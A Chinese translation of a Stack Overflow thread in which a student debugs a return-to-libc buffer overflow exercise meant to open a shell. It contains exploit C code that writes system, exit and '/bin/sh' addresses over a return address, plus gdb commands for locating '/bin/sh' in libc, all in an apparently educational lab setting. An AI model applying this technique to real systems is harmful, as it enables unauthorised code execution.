返回lib_c缓冲区溢出练习问题

22

我需要编写一个利用“return to libc缓冲区溢出”的程序。当执行时,它会干净地退出并打开一个SHELL提示符。该程序在bash终端中执行。以下是我的C代码:

#include <stdio.h>
int main(int argc, char*argv[]){
    char buffer[7];

    char buf[42];
    int i = 0;
    while(i < 28)
    {
            buf[i] = 'a';
            i = i + 1;
    }

    *(int *)&buf[28] = 0x4c4ab0;
    *(int *)&buf[32] = 0x4ba520;
    *(int *)&buf[36] = 0xbfffff13;

    strcpy(buffer, buf);

    return 0;
}

使用 gdb,我已经确定了以下内容:

  • "system" 函数的地址为:0x4c4ab0
  • "exit" 函数的地址为:0x4ba520
  • 字符串 "/bin/sh" 存储在内存中的位置为:0xbfffff13

我还知道,使用 gdb,将 32 个"A" 插入我的缓冲变量将覆盖返回地址。因此,考虑到 system 调用需要 4 个字节,我从第28个字节开始填充我的内存 "泄漏"。在第 28 个字节处,我开始我的 system 调用,然后是 exit 调用,最后是添加我的 "/bin/sh" 内存位置。

然而,当我运行程序时,我得到以下结果:

sh: B���: command not found
Segmentation fault (core dumped)

我真的不确定我做错了什么...

[编辑]: 我通过导出环境变量获得了字符串"/bin/sh":

export MYSHELL="/bin/sh"

你的字符串 "/bin/sh" 是否以 \0 结尾? - us2012
由于我使用了“export”将其存入内存,所以很可能它是以 \0 字符结尾的。 - lightningmanic
1
@lightningmanic,在使用gdb之前和之后,/bin/sh的地址会发生变化。在libc中直接查找/bin/sh并使用它。 - ouah
@ouah 我通过在gdb中运行程序获得了/bin/sh的地址,所以我看到的地址应该与我单独运行程序时看到的地址相同。此机器上也没有地址随机化。 - lightningmanic
1
@lightningmanic 即使没有堆栈随机化,堆栈的形状在使用或不使用 gdb 下也是不同的。你的 MYSHELL 变量的堆栈地址在不使用 gdb 时很可能与在使用 gdb 时不同。 - ouah
2个回答

61

您可以在libc中搜索/bin/sh字符固定地址。在gdb中运行程序:

> (gdb) break main
> 
> (gdb) run   
>
> (gdb) print &system  
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
> 
> (gdb) find &system,+9999999,"/bin/sh"  
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search. 
> 1 pattern found.

祝你好运。


快速提示,根据您的架构,您可能需要在system()调用和"/bin/sh"执行之间添加一些虚拟数据。 - Tui Popenoe
@TuiPopenoe,你能提供一个例子或者你信息的来源吗?我想试一下。 - borizzzzz

5
您程序中的问题是指针没有正确指向“/bin/sh”字符串。
您使用gdb获取该地址。即使在没有堆栈随机化的情况下,程序在gdb下运行时shell变量的堆栈地址也与不在gdb下运行时不同。gdb将一些调试信息放入堆栈中,这将移动您的shell变量。
为了让自己信服,这里有一个简单粗暴的程序来查找堆栈中的“/bin/sh”字符串:
#include <stdio.h>
#include <string.h>

int main(void)
{
    char s[] = "/bin/sh";
    char *p = (char *) 0xbffff000;

    while (memcmp(++p, s, sizeof s));

    printf("%s\n", p);
    printf("%p\n", p);
}

首先要确认堆栈随机化已被禁用:

ouah@maou:~$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 0
ouah@maou:~$

好的,没有堆栈随机化。

现在编译程序并在 gdb 外运行它:

ouah@maou:~$ gcc -std=c99 tst.c
ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$
现在让我们在下运行它:
ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$ gdb a.out -q
Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/ouah/a.out
/bin/sh
0xbffff6e4

Program exited normally.
(gdb) quit
ouah@maou:~$

如您所见,当程序在gdb内部或外部运行时,/bin/sh字符串的地址是不同的。

现在,您可以使用该程序的变体来查找字符串的真实地址,或者更优雅的方法是直接从libc获取/bin/sh字符串的地址(您可以猜测出现了几次)。


2
运行示例时,我收到了一个分段错误...为什么? - Philippe Delteil
这只是打印你在主函数中定义的字符串的地址吗? - I Like
@st4rgut,我认为他的观点是堆栈地址不同。 - MichaelG

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接